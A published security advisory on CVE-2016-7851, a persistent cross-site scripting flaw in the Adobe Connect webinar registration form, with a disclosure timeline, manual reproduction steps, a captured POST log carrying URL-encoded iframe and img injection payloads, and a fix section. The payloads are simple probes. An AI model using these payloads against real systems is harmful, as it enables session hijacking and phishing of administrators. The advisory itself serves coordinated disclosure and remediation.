253 lines
No EOL
14 KiB
Text
253 lines
No EOL
14 KiB
Text
Document Title:
|
|
===============
|
|
Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
http://www.vulnerability-lab.com/get_content.php?id=1838
|
|
|
|
Security ID: PSIRT-5180
|
|
|
|
Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html
|
|
|
|
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851
|
|
|
|
Public News Article: http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi
|
|
|
|
|
|
CVE-ID:
|
|
=======
|
|
CVE-2016-7851
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2016-11-09
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
1838
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
3.7
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,
|
|
chances are that it was touched by Adobe technology. Our tools and services enable our customers to create
|
|
groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it
|
|
based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,
|
|
we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.
|
|
|
|
(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered an application-side vulnerability in the Adobe Connect online web-application and v9.5.6 windows software.
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
|
|
2016-04-28: Vendor Notification (PSIRT Adobe Security Team)
|
|
2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team)
|
|
2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team)
|
|
2016-11-08: Security Acknowledgements (Adobe Security Team)
|
|
2016-11-09: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
Adobe Systems
|
|
Product: Adobe Connect - Online Service (Web-Application) 2016 Q2
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
An application-side input validation and xss vulnerability has been discovered in the Adobe Connect online web-application and v9.5.6 windows software.
|
|
The input validation and filter issue allows remote attackers to inject own malicious script codes to the server-side of the vulnerable modules context.
|
|
|
|
The vulnerability is located in the `firstname`,`lastname` and `companyname` parameter of the `event_registration.html` file submit POST method request.
|
|
Remote attackers are able to inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe connect events
|
|
service emails for the webinar registration module. The email body does not encode the input values and the registration is not restricted on inputs as
|
|
well, which results in the application-side script code execution. Attackers are also able to followup the webinar links with the injected credentials
|
|
which may be result in a second persistent script code execution as well. The injection point is the registration input form of the webinar in adobe
|
|
connect and the execution point occurs in the email body context of the admin@adobeconnect.com email address.
|
|
|
|
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
|
|
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction.
|
|
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources
|
|
and persistent manipulation of affected or connected service module context.
|
|
|
|
Request Method(s): Inject
|
|
[+] POST
|
|
|
|
Vulnerable Module(s):
|
|
[+] Events - Webinar Registration Form
|
|
|
|
Vulnerable File(s):
|
|
[+] event_registration.html
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] firstname
|
|
[+] lastname
|
|
[+] companyname
|
|
|
|
Affected Module(s):
|
|
[+] (admin@adobeconnect.com)
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The persistent vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
|
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
Manual steps to reproduce the vulnerability ...
|
|
1. Open your mailbox and click to the portals webinar email for administrators
|
|
2. Surf to the signup registration of adobe connect next to the events reck
|
|
3. Inject to the firstname, lastname and companyname your own script code payload
|
|
4. Submit the POST request to get activated for the webinar to hackerone via adobe connect
|
|
5. Check the local input of the registered account
|
|
6. The script code payloads of the name values are replied by the email service without secure encode
|
|
Note: The execution of the payloads occurs directly after the arrival and view
|
|
7. Now choose in the email the link to the webinar that is connected to the name values
|
|
8. Join the channel and write a message for interaction
|
|
9. The code executes in several sections of the webinar adobe connect events service with persistent vector
|
|
10. Successful reproduce of the both application-side vulnerabilities in adobe via hackerone!
|
|
|
|
|
|
PoC: event_registration.html
|
|
<div style="font-size: 12pt;color: #1d1d1d;font-family: Tahoma;font-style: normal;background-color: #FFFFFF;">
|
|
<p>>"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]></p>
|
|
<p>We are pleased to confirm your registration for The Art and Science of Bug Bounty Triage - April 28, 2016. We look forward to your participation in the event.</p>
|
|
</div>
|
|
|
|
|
|
--- PoC Session Logs [POST] ---
|
|
Status: 200[OK]
|
|
POST https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051
|
|
Mime Type[text/html]
|
|
Request Header:
|
|
Host[events-na1.adobeconnect.com]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
|
Accept-Encoding[gzip, deflate, br]
|
|
Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8]
|
|
Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA]
|
|
Connection[keep-alive]
|
|
POST-Daten:
|
|
2159915054[Yes]
|
|
2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
|
|
2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
|
|
2159915057[adasfaf+asfasdfasfasfasdfsdfs]
|
|
login[bkm%40evolution-sec.com]
|
|
first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
|
|
last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
|
|
campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2]
|
|
sco-id[2159915051]
|
|
reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html]
|
|
reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html]
|
|
action[event-register]
|
|
_charset_[UTF-8]
|
|
login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051]
|
|
set-lang[en]
|
|
reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html]
|
|
Response Header:
|
|
Connection[Keep-Alive]
|
|
Server[Day-Servlet-Engine/4.1.24]
|
|
Content-Type[text/html;charset=UTF-8]
|
|
Date[Wed, 27 Apr 2016 08:56:07 GMT]
|
|
Transfer-Encoding[chunked]
|
|
Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect]
|
|
|
|
|
|
Reference(s):
|
|
https://events-na1.adobeconnect.com/
|
|
https://events-na1.adobeconnect.com/content/
|
|
https://events-na1.adobeconnect.com/content/connect/
|
|
https://events-na1.adobeconnect.com/content/connect/connect-action
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname, lastname and companyname input fields in
|
|
the registration file POST method request.
|
|
Dissallow the usage of special chars and restrict the input to prevent further script code injection attacks.
|
|
Encode the email body context of the adobe connect service mails after the registration. Block script code tags or escape and encode them as well.
|
|
|
|
Please follow the instructions in the adobe security bulletin to resolve the issue - Adobe Connect 9.5.7 windows desktop version.
|
|
URL: https://helpx.adobe.com/adobe-connect/release-note/adobe-connect-9-5-7-release-notes.html
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the application-side vulnerability in the events webinar web-application and windows desktop software is estimated as medium. (CVSS 3.7)
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
|
|
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
|
|
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
|
|
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
|
|
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
|
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
|
|
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
|
|
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
|
|
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
|
|
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.
|
|
|
|
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
|
|
|
--
|
|
VULNERABILITY LABORATORY - RESEARCH TEAM
|
|
SERVICE: www.vulnerability-lab.com |